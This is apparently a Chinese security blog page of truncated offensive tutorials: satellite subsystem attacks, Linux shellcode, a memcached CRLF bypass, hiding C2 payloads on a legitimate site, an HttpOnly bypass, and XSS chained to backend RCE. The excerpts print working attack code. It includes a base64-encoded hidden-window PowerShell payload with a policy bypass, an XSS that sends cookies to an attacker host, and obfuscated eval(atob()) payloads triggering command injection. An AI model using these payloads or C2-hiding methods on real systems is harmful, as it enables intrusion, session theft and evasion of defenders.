关于卫星的黑客攻击方法(一)

简介 卫星黑客攻击是指利用网络手段对卫星或卫星通信系统进行破坏、干扰或窃取的行为。卫星黑客攻击可能会对全球的军事、政治、经济和社会造成严重的影响和威胁。卫星黑客攻击的方式有多种,例如利用卫星的漏洞或设计缺陷进行入侵、篡改或控制,或者利用卫星的信号进行拦截、伪造或干扰。 下面我们将了解卫星的各个系统,以便后续的攻击。 ADCS 卫星的ADCS(姿态确定和控制系统)是一种用于控制和维持卫星在轨道上的期望方向和位置的系统。ADCS包括传感器、执行器、控制器和算法,它们共同实现对卫星的姿态测量、姿态控制、姿态估计和姿态指令等功能。 关于针对ADCS的攻击方法,大致如下: 传感器攻击:攻击者试图操纵或欺骗用于姿态确定的传感器。例如,他们可以向传感器照射强光或激光以导致错误读数,或者使用电磁辐射干扰传感器信号。 执行器攻击:攻击者可能针对负责姿态控制的执行器。攻击者可能会尝试禁用或篡改执行器,从而阻止卫星调整其姿态或导致其偏离预定路线。 通信攻击:如果 ADCS 依赖于来自地面控制或其他来源的外部命令或数据,攻击者就可以拦截或操纵通信通道。他们可能会注入错误命令或更改发送到 ADCS 的数据,从而导致错误的姿态调整或控制。 软件攻击:ADCS 系统通常利用软件来处理传感器数据、实施控制算法和管理操作。攻击者可能会利用软件漏洞或注入恶意代码来损害 ADCS 的完整性和功能。 C&DHS 卫星的C&DHS(总线以命令和数据处理系统)是一种用于管理卫星并控制航天器的所有功能的系统。 C&DHS在普通卫星的架构如下图所示: C&DHS使用星载控制器 (OBC,On-Board Controller),该控制器采用计算平台,即微控制器和存储器,类似于地面嵌入式设备。在该系统上执行的软件称为星载软件(OBSW,On-Board Software),它实现远程控制服务器,通常基于实时操作系统(RTOS, Real-Time Operating System),类似于地面实时应用程序。OBSW的主要任务是处理TC/TM流量、提供数据存储、调度命令、执行自主操作以及更新程序代码。 关于针对C&DHS的攻击方法大致如下: 命令注入:攻击者将未经授权的命令注入系统。如果他们能够访问通信通道或利用命令接收过程中的漏洞,则可以发送恶意或未经授权的命令,从而破坏或损害卫星的运行。 数据操纵:攻击者可以瞄准数据系统并尝试操纵或破坏正在收集、处理或传输的数据。这可能会导致分析和决策的不正确,以及丧失任务目标。 软件利用:如果C&DHS系统存在软件漏洞,攻击者则可以利用这些漏洞执行未授权访问、任意代码执行或破坏系统的正常运行。这可能包括缓冲区溢出攻击、代码注入或提权。 物理攻击:在某些情况下,攻击者可能会物理篡改 C&DHS 硬件或基础设施。这可能涉及更换组件、修改电路,或引入可以拦截并修改命令、数据流的恶意设备。 TT&C TT&C子系统提供卫星(空间段)和地面设施(控制或用户段)之间的连接。TT&C功能的目的是确保卫星正确运行。作为卫星总线的一部分,无论任务类型如何,所有卫星都需要TT&C子系统。TT&C子系统有三个特定的功能: 遥测:收集、处理所有航天器子系统的健康和状态数据,并将这些数据传输到地面的控制部分。这不仅需要航天器上的遥测系统,还需要世界各地的地面站全球网络,除非卫星空间网络包括卫星间链路,可以将数据中继到指定的卫星并向下链接到适当的地面站。各个子系统发送的不同健康信息和状态信息由遥测输入接口收集,返回到C&DHS处理器,缓冲,加密,最后发送到地面站。 测距测速:通过测量卫星和地面站之间的信号往返时间和多普勒频移,计算出卫星和地面站的距离和径向速度,确定卫星的位置和运动状态。 指挥和控制:接收和处理卫星连续运行的命令,通常需要地面系统配合。虽然先进的航天器设计已经朝着“自主操作”的方向发展,许多控制功能可以在机载上实现自动化,但是在紧急情况下,依旧需要地面干预。 在处理命令时,来自命令接收器的串行命令位流由命令输入接口接收,其中相关命令被提取,然后通过串行或并行接口发送到相应的子系统,如下图所示: EPS 卫星的EPS(电力系统)是一种用于为卫星提供电能的系统,包括以下几个部分: 电源:负责将太阳能或其他能源转换为电能,如太阳能电池板、热电发电机等 。 电池:负责在卫星进入阴影区或需要额外电能时储存和释放电能,如锂离子电池、镍氢电池等 。 电力调节和分配单元(PDU):负责对卫星的输入和输出电压进行稳压、限流和切换,以及对卫星的各个分系统和有效载荷进行分配和控制 。 电力管理和控制单元(PMCU):负责对卫星的电力系统进行监测、控制和保护,以及与卫星的其他系统进行通信和协调 。 PDHS 卫星的PDHS(有效载荷数据处理系统)是一种用于处理卫星的有效载荷数据的系统,包括以下几个部分: 有效载荷数据处理单元(PDU):负责对卫星的有效载荷数据进行采集、压缩、编码、加密和存储,以及与卫星的其他系统进行通信和协调 。 有效载荷数据传输单元(PTU):负责对卫星的有效载荷数据进行调制、多路复用、放大和发送,以及与地面站进行数据交换…

Linux Shellcode 编写

Shellcode简介 Shellcode是一段用于利用软件漏洞的有效负载,它通常是用汇编语言编写的机器码,可以执行特定的功能,例如启动一个命令行shell,从而让攻击者控制被攻击的机器。Shellcode之所以被称为shellcode,是因为它最初的目的是在目标系统上执行/bin/sh命令,打开一个交互式shell。 Shellcode可以根据攻击者是否在目标机器上执行有效负载分为本地shellcode和远程shellcode。本地shellcode通常用于在攻击者对计算机的访问权限有限,需要利用软件漏洞提升权限的情况。远程shellcode通常用于在攻击者以运行在某个网络中的另一台机器上的易受攻击的进程为目标时,如果成功执行,shellcode可以通过网络访问目标主机。 汇编基础 以编译输出wolf为例,编写wolf.asm文件如下: BITS 32 section .data msg db "wolf", 0xa section .text global _start _start: mov eax, 4 ; syscall to write() mov ebx, 1 mov ecx, msg mov edx, 4 int 0x80 mov eax, 1 mov ebx, 0 int 0x80 然后执行以下命令安装并编译: apt-get install libc6-dev-i386 ┌──(root㉿kali)-[/usr/src/linux-shellcode] └─# nasm -f elf32 wolf.asm ┌──(root㉿kali)-[/usr/src/linux-shellcode]…

php-memcached CRLF绕过

简介 在正式讲解前,我们先简单了解下CRLF注入漏洞。 在HTTP报文中,状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔。而CRLF漏洞的产生则是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符串,攻击者一旦成功注入CRLF,就会在响应中输入,所以也称为HTTP响应拆分漏洞。 在CRLF中,“CR”意为回车(例:r、%0D),“LF”意为换行符(例:n、%0A)。在Windows系统中,CRLF表示行的结束;Linux则以LF表示行的结束。 一般来说更多是将CRLF用于会话固定漏洞、XSS漏洞和窃取cookie等,但是CRLF注入漏洞也可以利用在Web应用程序中。 漏洞环境 Memcached是一个开源、高性能的分布式内存对象缓存系统。 影响版本: V2.2.0及以下版本 在早些时候Memcached也爆发过CRLF注入,而本次绕过则是根据之前爆发过的CRLF注入而产生的1Day漏洞,因为是1Day所以直接下最新版即可。 我们使用Kali Linux环境,编写以下代码文件,并放到网页目录下。 <?php $server = new Memcached(); $server->addServer('localhost', 11211); $token = $_GET['token']; $server->set("wolf","poc") ; echo "[token] = "; var_dump($server->get("$token")); echo "[wolf] = "; var_dump($server->get("wolf")); 在Kali Linux终端输入命令: apt-get install memcached 安装Memcached后,输入以下命令: service memcached start //开启Memcached服务 netstat -ntlp //查看服务是否开启 看到11211端口为监听状态则代表Memcached服务正常开启,然后只需要配置php环境重启Apache2即可。 基础命令 在搭建好漏洞环境后,我们先简单了解下Memcached的命令,会更加方便后续的漏洞利用。 set命令 Memcached的set命令用于将value存储在指定的key中,如果key已存在则会更新key值。 基本语法如下: set key…

使用合法网站制作C2

简介 对于攻击者而言,隐藏自己的C2是重中之重,以往都是使用合法的应用API创建自己的C2,不过我们也可以将payload托管在合法的网站上,这样在受害者主机上的通信可能会绕过防火墙。 该方法最早提出者已经无法溯源了,偶然看到null-byte网站提了一嘴,不过并没有将其用作C2,而是将其用作下载文件,C2是笔者在N年前研究的方法,可能对于现在的网络环境还能有点用。 构造Payload 以Freebuf为例,我们首先构造一条PowerShell命令: powershell -ep bypass /w 1 /C New-Item -ItemType file 'C:Users\$env:USERNAMEDocumentsthatgood' 该条PowerShell语句会使用-ep选项绕过策略,并使用/w选项隐藏窗口,使用New-Item创建一个位于用户文档下的文件。 然后我们最好将该条PowerShell语句进行Base64编码,防止检测到特殊字符: printf '%s' "powershell -ep bypass /w 1 /C New-Item -ItemType file 'C:Users\$env:USERNAMEDocumentsthatgood'" | base64 | tr -d 'n' cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC93IDEgL0MgTmV3LUl0ZW0gLUl0ZW1UeXBlIGZpbGUgJ0M6XFVzZXJzXCRlbnY6VVNFUk5BTUVcRG9jdW1lbnRzXHRoYXRnb29kJw== 最好复制一下Base64编码字符串来验证一下。 然后我们将该串Base64字符串修改到Freebuf能公开访问的页面,比如用户公开的简介中,然后用START和END包裹,用来匹配该条payload。 使用无痕模式查看是否能公开查看,以及是否能显示所有字符串。 然后我们通过在受害者主机执行PowerShell语句即可执行新建文件的操作: $wro = iwr -Uri https://www.freebuf.com/author/Snow%E7%8B%BC%E5%95%8A -UseBasicParsing; //使用Invoke-WebRequest获取指定网页并基本解析 $r = [Regex]::new("(?<=START)(.*)(?=END)"); //使用正则表达式匹配payload $m = $r.Match($wro.rawcontent); //将匹配到的payload定义一个变量…

HttpOnly绕过

简介 在防御XSS漏洞时,目标会启用HttpOnly标志以降低cookie被窃取的风险,常见的绕过方法有TRACE请求、响应中获取cookie、构建Ajax请求(前端漏洞触发后端RCE),今天介绍的是另一种方法。 部署 在开始前,我们先来做个对比实验。   Kali Linux IP:192.168.64.129   DVWA:192.168.64.132   先将DVWA靶机设置为low状态。 在XSS反射型漏洞页面输入payload: <script>alert(document.cookie)</script> 查看获取到的cookie,可以看到能够获取到PHPSESSID。  我们可以通过浏览器自带的”应用”功能来修改目标状态为开启了HttpOnly。 再次输入获取cookie的payload,即可看到不会显示PHPSESSID了,这就是HttpOnly的功劳。 绕过   既然对方开启了HttpOnly,那么我们应该怎样绕过呢?   通过查看phpinfo文件,我们可以很轻松的看到显示的cookie内容,通过对比可以发现cookie是一致的。 那么我们是否可以通过js构造请求,使其将phpinfo文件中的cookie窃取并发送到攻击者的主机上呢?   答案是可以的,在Kali Linux主机中输入命令开启接收 python3 -m http.server 80 我们先构造一个常用窃取cookie语句: <script>var i=new Image;i.src="http://192.168.240.129/"+btoa(document.cookie);</script>  执行后,Kali Linux会话会收到接收的cookie  此时并没有获取到PHPSESSID,我们需要构造一个超长payload字符串: <script> fetch('http://ip/phpinfo') .then(response => response.text()) .then(data => { // 开始字符串和结束字符串,用于过滤HTML内容 const startString = '<tr><td class="e">HTTP_COOKIE </td><td class="v">'; const…

前端漏洞触发后端RCE

简介 在实际渗透测试中,经常碰到目标使用的CMS带有后台RCE漏洞,导致无法利用,但是后端RCE漏洞也可以通过目标的前端漏洞进行触发。 XSS 我们先以XSS漏洞进行触发后端RCE,该实验以DVWA靶机进行演示。在DVWA靶机的命令注入部分尝试注入命令: 1;ls 通过Burp可以查看到命令注入的请求包是POST类型 假设目标不是DVWA靶机,而是实际环境,且目标恰好有XSS漏洞,那么就可以通过构造XSS来引诱目标管理员触发RCE。编写代码创建一个简单的带有XSS漏洞的网页,php.php: <?php highlight_file(__FILE__); $id = $_GET['id']; echo ($id); ?> 既然有XSS漏洞了,那么怎么触发RCE请求呢?我们可以使用Ajax构造请求,如果目标没有jQuery,怎么触发Ajax请求呢?我们可以使用script标签包裹一个jQuery: <script type="text/javascript" src="http://code.jquery.com/jquery-1.7.2.min.js"></script> 然后我们可以通过Ajax构造请求达到触发RCE,payload: $.post('http://192.168.64.129/DVWA/vulnerabilities/exec/',function(d) { let p = $(d).contents().find('input[name="path"]').val(); $.ajax({ url:'http://192.168.64.129/DVWA/vulnerabilities/exec/', type:'POST', data:{ "ip": '1;touch 1', //执行命令 "Submit": "Submit"},}); }); 注意data内容与Burp抓取到的命令注入包内容一致。然后将该段代码进行Base64 Encode,防止特殊字符导致转义。 但是我们浏览器又不能自动解析Base64,所以的需要atob标签包裹解析该串Base64字符串,完整包裹语句: atob('JC5wb3N0KCdodHRwOi8vMTkyLjE2OC42NC4xMjkvRFZXQS92dWxuZXJhYmlsaXRpZXMvZXhlYy8nLGZ1bmN0aW9uKGQpIHsKICBsZXQgcCA9ICQoZCkuY29udGVudHMoKS5maW5kKCdpbnB1dFtuYW1lPVwicGF0aFwiXScpLnZhbCgpOwokLmFqYXgoewogIHVybDonaHR0cDovLzE5Mi4xNjguNjQuMTI5L0RWV0EvdnVsbmVyYWJpbGl0aWVzL2V4ZWMvJywKICB0eXBlOidQT1NUJywKICBkYXRhOnsKICAgICAgICJpcCI6ICcxO2xzJywKICAgICAgICJTdWJtaXQiOiAiU3VibWl0In0sfSk7Cn0pOw') 需要注意使用单引号包裹Base64字符串,使其为一个整体,以防解析错误。然后使用eval包裹执行,并注入script标签触发XSS,完整语句: <script>eval(atob('JC5wb3N0KCdodHRwOi8vMTkyLjE2OC42NC4xMjkvRFZXQS92dWxuZXJhYmlsaXRpZXMvZXhlYy8nLGZ1bmN0aW9uKGQpIHsKICBsZXQgcCA9ICQoZCkuY29udGVudHMoKS5maW5kKCdpbnB1dFtuYW1lPVwicGF0aFwiXScpLnZhbCgpOwokLmFqYXgoewogIHVybDonaHR0cDovLzE5Mi4xNjguNjQuMTI5L0RWV0EvdnVsbmVyYWJpbGl0aWVzL2V4ZWMvJywKICB0eXBlOidQT1NUJywKICBkYXRhOnsKICAgICAgICJpcCI6ICcxO2xzJywKICAgICAgICJTdWJtaXQiOiAiU3VibWl0In0sfSk7Cn0pOw'))</script> 因为目标网站可能没有jQuery(几率很小),所以整体语句为: http://IP地址/php.php?id=<script type="text/javascript" src="http://code.jquery.com/jquery-1.7.2.min.js"></script><script>eval(atob('JC5wb3N0KCdodHRwOi8vMTkyLjE2OC42NC4xMjkvRFZXQS92dWxuZXJhYmlsaXRpZXMvZXhlYy8nLGZ1bmN0aW9uKGQpIHsKICBsZXQgcCA9ICQoZCkuY29udGVudHMoKS5maW5kKCdpbnB1dFtuYW1lPVwicGF0aFwiXScpLnZhbCgpOwokLmFqYXgoewogIHVybDonaHR0cDovLzE5Mi4xNjguNjQuMTI5L0RWV0EvdnVsbmVyYWJpbGl0aWVzL2V4ZWMvJywKICB0eXBlOidQT1NUJywKICBkYXRhOnsKICAgICAgICJpcCI6ICcxO2xzJywKICAgICAgICJTdWJtaXQiOiAiU3VibWl0In0sfSk7Cn0pOw'))</script> 通过浏览器访问该地址虽然没有回显,但是我们可以通过Burp的历史请求查看到对应响应。通过Burp历史请求,我们可以看到此次触发了三个请求,分别为编号26、27和28,第一个请求则是由我们访问Url地址进行的一个GET请求: 27号请求则是通过payload跳转到DVWA的命令注入页面: $.post('http://192.168.64.129/DVWA/vulnerabilities/exec/',function(d) { let p = $(d).contents().find('input[name="path"]').val();…